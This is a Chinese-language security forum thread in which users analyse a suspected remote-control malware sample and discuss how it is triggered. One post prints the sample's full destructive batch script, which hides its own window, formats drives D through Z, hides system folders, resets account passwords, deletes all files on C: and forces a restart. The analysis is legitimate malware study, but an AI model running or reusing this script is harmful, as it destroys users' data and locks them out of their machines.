来自管家论坛的样本好象是远控

显示全部楼层 · 发表于 2015-3-12 17:27:24

pal家族发表于 2015-3-12 17:20
这个信息是他发给你的，不是随机的

哪有人这么闲啊...
要是我也弄个自动应答的

显示全部楼层 · 发表于 2015-3-12 17:33:43

15536900 发表于 2015-3-12 17:27
哪有人这么闲啊...
要是我也弄个自动应答的

你没看我的那一层吗？还和他聊了几句~~

显示全部楼层 · 发表于 2015-3-12 17:47:55

pal家族发表于 2015-3-12 17:33
你没看我的那一层吗？还和他聊了几句~~

没有我终止了那个链接

显示全部楼层 · 发表于 2015-3-12 18:03:10

本帖最后由 15536900 于 2015-3-12 18:04 编辑

pal家族发表于 2015-3-12 17:33
你没看我的那一层吗？还和他聊了几句~~

这人真是闲...

if not "%1"=="wkdxz" mshta vbscript:createobject("wscript.shell").run("""%~f0"" wkdxz",vbhide)(window.close)&&exit
@echo off echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
cd c:\
attrib +s +h "windows"
attrib +s +h "Program Files"
attrib +s +h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib +S +h
net user administrator nisidingle
net user guest nihuile
shutdown -r -t 60 -c "SB卡饭，整天分析烦不烦！"
net user administrator /active:no
del /f /s /q c:\*.*

复制代码

显示全部楼层 · 发表于 2015-3-12 18:07:28

15536900 发表于 2015-3-12 18:03
这人真是闲...

这是从那个文件分析出来的？为什么没有执行？怎么检测卡饭的？

显示全部楼层 · 发表于 2015-3-12 18:12:35

pal家族发表于 2015-3-12 18:07
这是从那个文件分析出来的？为什么没有执行？怎么检测卡饭的？

后面才有的
在系统盘下的PerfLogs里面,首先是txt然后变bat最后就会去执行了
至于卡饭啊,可能是蒙的吧
我今天也太闲了...不玩了

显示全部楼层 · 发表于 2015-3-12 18:14:31

15536900 发表于 2015-3-12 18:12
后面才有的
在系统盘下的PerfLogs里面,首先是txt然后变bat最后就会去执行了
至于卡饭啊,可能是蒙的吧 ...

那怎么触发它运行？自动触发？还是遥控触发？

显示全部楼层 · 发表于 2015-3-12 18:38:21

pal家族发表于 2015-3-12 18:14
那怎么触发它运行？自动触发？还是遥控触发？

XLUEOPS会去执行的.整体来说这应该算是遥控

显示全部楼层 · 发表于 2015-3-12 18:38:25

pal家族发表于 2015-3-12 18:14
那怎么触发它运行？自动触发？还是遥控触发？

XLUEOPS会去执行的.整体来说这应该算是遥控

[病毒样本] 来自管家论坛的样本好象是远控